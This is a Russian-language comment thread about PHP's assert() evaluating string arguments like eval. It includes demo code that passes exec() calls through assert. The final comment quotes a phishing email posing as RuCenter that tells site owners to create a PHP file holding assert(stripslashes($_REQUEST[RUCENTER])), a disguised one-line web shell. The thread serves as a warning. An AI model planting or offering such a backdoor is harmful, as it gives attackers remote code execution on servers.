Comments 19
1. Это написано в документации к assert => поведение ожидаемое.
2. В production environment опция assert.active выключена и аргумент ассерта не вычисляется => злоумышленник ничего не получит.
2. В production environment опция assert.active выключена и аргумент ассерта не вычисляется => злоумышленник ничего не получит.
Да, конечно же данная «фишка» описана в документации, но проводя параллель с другими языками — это не ожидаемое поведение.
Действительно, если вы правильно настраиваете боевые сервера, то проблем у вас не будет, но к сожалению зачастую это не так.
Данным постом я хотел предупредить разработчиков о возможной проблеме, а никак начинать холивар.
Действительно, если вы правильно настраиваете боевые сервера, то проблем у вас не будет, но к сожалению зачастую это не так.
Данным постом я хотел предупредить разработчиков о возможной проблеме, а никак начинать холивар.
Функция работает в точности как описана в документации. А вот Ваш код — нет.
Неа, не выведет. Откуда $test?
if ($test)
echo "В переменной что-то есть\n";
// Код выведет текст "В переменной что-то есть"
Неа, не выведет. Откуда $test?
Действительно небольшая опечатка.
Я и не утверждаю, что функция работает не правильно. Согласно документации все правильно. Согласно логике — нет.
ну как нет? В пхп всегда, где нужна лямбда — передают строку.
assert проверяет не условие, а итог выполнения лямбы, переданной аргументом.
чтобы когда выключен аргумент — код вообще не вычислялся.
assert проверяет не условие, а итог выполнения лямбы, переданной аргументом.
чтобы когда выключен аргумент — код вообще не вычислялся.
> assert проверяет не условие, а итог выполнения лямбы
assert проверяет И условие, И итог выполнения лямбды, в зависимости от того что ей передать. Два факта:
— функция asert часто принимается для проверки аргументов.
— в php динамическая типизация.
Итого имеем:
assert проверяет И условие, И итог выполнения лямбды, в зависимости от того что ей передать. Два факта:
— функция asert часто принимается для проверки аргументов.
— в php динамическая типизация.
Итого имеем:
function one($arg) {
assert($arg); // не должно быть равно нулю
…
}
…
one($_GET['number']);
не, идиотизм использования строк для лямбд это уже вопрос второй… в пхп много что вылезло боком.
Assertions should not be used for normal runtime operations like input parameter checks.
Могу только картинку сверху повторить. Ну написано это в документации, а дальше-то что? Будете всех, кто проверяет входные параметры этой функцией называть злобными Буртинами и делать вид, что проблемы нет?
Не буду их использовать для этого. Проблемы нет.
Не могу понять к чему Вы клоните… Вы используете eval у себя в проектах? Почему да или нет?
А при чем тут eval?
Так assert почти тоже самое что и eval.
namespace assert;
error_reporting(-1);
function assert($assertion)
{
if (!$return = (boolean)eval('return ' . $assertion . ';'))
trigger_error('Assertion "' . $assertion . '" failed', E_USER_WARNING);
return $return;
}
$test = 'TEST; some;';
\assert($test);
assert($test);
$test = '1';
\assert($test);
assert($test);
$test = '0';
\assert($test);
assert($test);
$test = 'print "print" . PHP_EOL';
\assert($test);
assert($test);
$test = 'exec("ls")';
\assert($test);
assert($test);
$test = 'exec("dir")';
\assert($test);
assert($test);
пхп хорош, но некоторых стандартных функций, по-моему, лучше избегать и не использовать в проектах. Ну например этот самый assert и eval.
Это лично моя точка зрения.
Это лично моя точка зрения.
А в битриксе она используется?
Сегодня прилетело письмо якобы от РуЦентра с требованием «подтвердить домен» таким образом:
Сегодня прилетело письмо якобы от РуЦентра с требованием «подтвердить домен» таким образом:
Чтобы подтвердить, что Вы имеете возможность управлять доменным именем, создайте в корневой директории сайта файл a1afnlmt8k98f5sr.php со следующим содержимым:
<?php
assert(stripslashes($_REQUEST[RUCENTER]));
?>
Sign up to leave a comment.
Неочевидное поведение assert